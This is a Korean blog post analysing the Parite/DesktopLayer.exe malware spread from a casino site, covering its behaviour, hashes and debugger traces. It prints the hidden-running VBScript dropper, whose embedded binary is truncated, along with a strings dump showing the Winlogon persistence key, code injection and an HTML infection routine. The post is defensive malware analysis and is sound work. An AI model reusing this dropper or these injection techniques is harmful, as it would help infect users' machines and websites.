일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- 많다..
- speed-measure-webpack-plugin
- 안전결제
- MongoDB #NoSQL #CreateUser #DropUser #mongod #mognod.conf
- 변태는
- shell_gpt
- 척추관협착증
- NUGU
- intelmac
- 네이버카페
- esbuild
- CryptoJS
- XSS
- self-signed
- Malware Sample
- 모의해킹
- Frida
- 보이스피싱 #대검찰청 #명의도용 #비밀번호 #계좌번호 #공공기관 #가짜검찰청
- 허리디스크
- CJ대한통운 #쿠팡 #통관번호오류 #통관고유번호오류 #안주원팀장 #모건인베스트
- 중고나라
- 채팅환전사기
- ssrf
- 취약점
- ue4dumper
- Sequoia
- open redirect
- react
- 거래사기
- 로맨스스캠
- Today
- Total
annyoung
vbscript parite 악성코드 본문
흔히들 말하는 파리떼(Parite) 바이러스이다. 한번 감염되면 거의 포맷을 해야되는 상황까지 오는.. 그러니 빨리 치료를 하던지 놔두고 포맷을 하던지 둘 중 하나다. 이런 악성코드에 감염되면 참 골치아프다. 나름 랜섬웨어(?) 비슷한 놈이다.
<SCRIPT Language=VBScript><!-- DropFileName = "svchost.exe" WriteData = "4D5A90000300000004000 ..생략.. 8656C705700000000000000000000" Set FSO = CreateObject("Scripting.FileSystemObject") DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName If FSO.FileExists(DropPath)=False Then Set FileObj = FSO.CreateTextFile(DropPath, True) For i = 1 To Len(WriteData) Step 2 FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2))) Next FileObj.Close End If Set WSHshell = CreateObject("WScript.Shell") WSHshell.Run DropPath, 0 //--></SCRIPT> |
중국 카지노 사이트에서 유포되고 있는 페이지 소스 중 VBScript만 채증했다. WriteData에는 악성코드의 Data가 담겨 있고 CreateObject를 통하여 FileSystemObject를 로드하여 파일을 저장한다. (요즘도 이게 되나 싶다...)
FileName |
svchost.exe |
MD5 |
FF5E1F27193CE51EEC318714EF038BEF |
SHA-1 |
B4FA74A6F4DAB3A7BA702B6C8C129F889DB32CA6 |
Packer |
UPX 2.90 [LZMA] (Delphi stub) -> Markus Oberhumer, Laszlo Molnar & John Reise |
[표1] 악성코드 정보
눈으로 봐도 알 수 있는 전형적인 UPX 패턴을 가지고 있으므로 간단하게 언패킹 해준다. 참고로 파리떼 바이러스라고 진단되어 있으니 조심하면서 분석하자. (가상머신이면 괜찮다.)
0012F5D8 7C835B8C /CALL to CreateFileW from kernel32.7C835B87 0012F5DC 00161E90 |FileName = "C:\Program Files\Microsoft\px3.tmp" 0012F5E0 80000000 |Access = GENERIC_READ 0012F5E4 00000000 |ShareMode = 0 0012F5E8 00000000 |pSecurity = NULL 0012F5EC 00000001 |Mode = CREATE_NEW 0012F5F0 00000080 |Attributes = NORMAL 0012F5F4 00000000 \hTemplateFile = NULL |
C:\Program Files\Microsoft\px3.tmp로 파일을 생성한 후 현재 프로세스의 데이터를 백업시킨 후 px3.tmp에서 DesktopLayer.exe로 파일명을 변경한다.
0012FF08 004013C0 /CALL to CreateProcessA from test.004013BB 0012FF0C 00000000 |ModuleFileName = NULL 0012FF10 009F0020 |CommandLine = "C:\Program Files\Microsoft\DesktopLayer.exe" 0012FF14 00000000 |pProcessSecurity = NULL 0012FF18 00000000 |pThreadSecurity = NULL 0012FF1C 00000000 |InheritHandles = FALSE 0012FF20 00000000 |CreationFlags = 0 0012FF24 00000000 |pEnvironment = NULL 0012FF28 00000000 |CurrentDir = NULL 0012FF2C 0012FF44 |pStartupInfo = 0012FF44 0012FF30 0012FF34 \pProcessInfo = 0012FF34 |
현재 실행되어 있는 부모 프로세스 밑에 자식 프로세스로 Program Files경로에 드랍된 바이너리를 실행한다.
0012FF80 77F5EFE6 /CALL to RegOpenKeyExA from ADVAPI32.77F5EFE1 0012FF84 80000000 |hKey = HKEY_CLASSES_ROOT 0012FF88 0040D8E9 |Subkey = "http\shell\open\command" 0012FF8C 00000000 |Reserved = 0 0012FF90 02000000 |Access = 2000000 0012FF94 0012FFB0 \pHandle = 0012FFB0 |
RegOpenKeyExA를 이용하여 기본 브라우저를 가져오기 위하여 "HKCR\http\shell\open\command\" 레지스트리에 접근한다.
0012FF34 004013C0 /CALL to CreateProcessA from DesktopL.004013BB 0012FF38 00000000 |ModuleFileName = NULL 0012FF3C 0040DFD0 |CommandLine = "C:\Program Files\Google\Chrome\Application\chrome.exe" 0012FF40 00000000 |pProcessSecurity = NULL 0012FF44 00000000 |pThreadSecurity = NULL 0012FF48 00000000 |InheritHandles = FALSE 0012FF4C 00000000 |CreationFlags = 0 0012FF50 00000000 |pEnvironment = NULL 0012FF54 00000000 |CurrentDir = NULL 0012FF58 0012FF70 |pStartupInfo = 0012FF70 0012FF5C 0012FF60 \pProcessInfo = 0012FF60 |
자식 프로세스로 생성된 DesktopLayer.exe는 레지스트리에 접근하여 가져온 값으로 프로세스를 생성한다.
0012EF04 004020E2 /CALL to WriteProcessMemory from DesktopL.004020DD 0012EF08 00000054 |hProcess = 00000054 (window) 0012EF0C 20010000 |Address = 20010000 0012EF10 20010000 |Buffer = 20010000 0012EF14 0000D000 |BytesToWrite = D000 (53248.) 0012EF18 00000000 \pBytesWritten = NULL |
프로세스 메모리에 악성행위를 하는 데이터를 코드 인젝션 시킨다.
FileName |
_20010000.mem.dll |
MD5 |
72EE0A4447497F676B373F8AA2A86383 |
SHA-1 |
83B941D87F1A6770DAC72B1D0F795843C5DC1168 |
Packer |
패커 사용하지 않음 |
[표2] 실질적으로 악성 행위가 이루어지는 악성코드 정보
.data:1000A2C8 00000036 C Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon .data:1000A2FE 00000009 C Userinit .data:1000A307 00000007 C REG_SZ .data:1000A314 0000000F C %ProgramFiles% .data:1000A323 00000015 C %CommonProgramFiles% .data:1000A338 00000016 C %HOMEDRIVE%%HOMEPATH% .data:1000A34E 0000000A C %APPDATA% .data:1000A366 0000014D C :///:GET /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml;q=0.9, image/png, image/jpeg, image/gif, image/x-xbitmap, *\\*;q=0.1\r\nAccept-Charset: utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\nPragma: no-cache\r\nConnection: close\r\n\r\n .data:1000A4D5 00000008 C getexec .data:1000A4DF 0000000D C complete.dat .data:1000A500 00000007 C .rmnet .data:1000A50E 0000000D C LoadLibraryA .data:1000A51B 0000000F C GetProcAddress .data:1000A52A 0000000D C Imagehlp.dll .data:1000A53B 00000013 C CheckSumMappedFile .data:1000A556 00000014 C Software\\WASAntidot .data:1000A56A 00000008 C disable .data:1000A572 00000014 C Antidot is activate .data:1000A586 0000000A C </SCRIPT> .data:1000A590 000001E6 C <SCRIPT Language=VBScript><!--\r\nDropFileName = \"svchost.exe\"\r\nWriteData = \"\"\r\nSet FSO = CreateObject(\"Scripting.FileSystemObject\")\r\nDropPath = FSO.GetSpecialFolder(2) & \"\\\" & DropFileName\r\nIf FSO.FileExists(DropPath)=False Then\r\nSet FileObj = FSO.CreateTextFile(DropPath, True)\r\nFor i = 1 To Len(WriteData) Step 2\r\nFileObj.Write Chr(CLng(\"&H\" & Mid(WriteData,i,2)))\r\nNext\r\nFileObj.Close\r\nEnd If\r\nSet WSHshell = CreateObject(\"WScript.Shell\")\r\nWSHshell.Run DropPath, 0\r\n//--></SCRIPT>RmN .data:1000A776 0000000C C autorun.inf .data:1000A782 00000009 C RECYCLER .data:1000A78B 00000005 C .exe .data:1000B044 00000005 C html |
해당 악성코드의 기능은 모든 html확장자 맨 뒤에 VBScript를 넣어주어 카지노 사이트와 같이 똑같이 감염시킨다. WriteData의 경우 4D5A~~~로 시작하는 DesktopLayer.exe의 데이터를 써 넣는 것으로 추정된다.
허나.. dll 정상 실행이 불가능하므로 여기까지 분석하고 분석 종료.
'분석생활' 카테고리의 다른 글
소콜라스 사이트에서 파밍 유포지로 사용중 (0) | 2015.10.26 |
---|---|
gondad exploit kit을 이용한 악성코드 유포 (0) | 2015.10.25 |
온라인 게임 계정 탈취 악성코드 (3) | 2015.10.23 |
js 난독화 (0) | 2015.10.22 |
라인 몸캠피싱 해커 프로파일링 (0) | 2015.07.28 |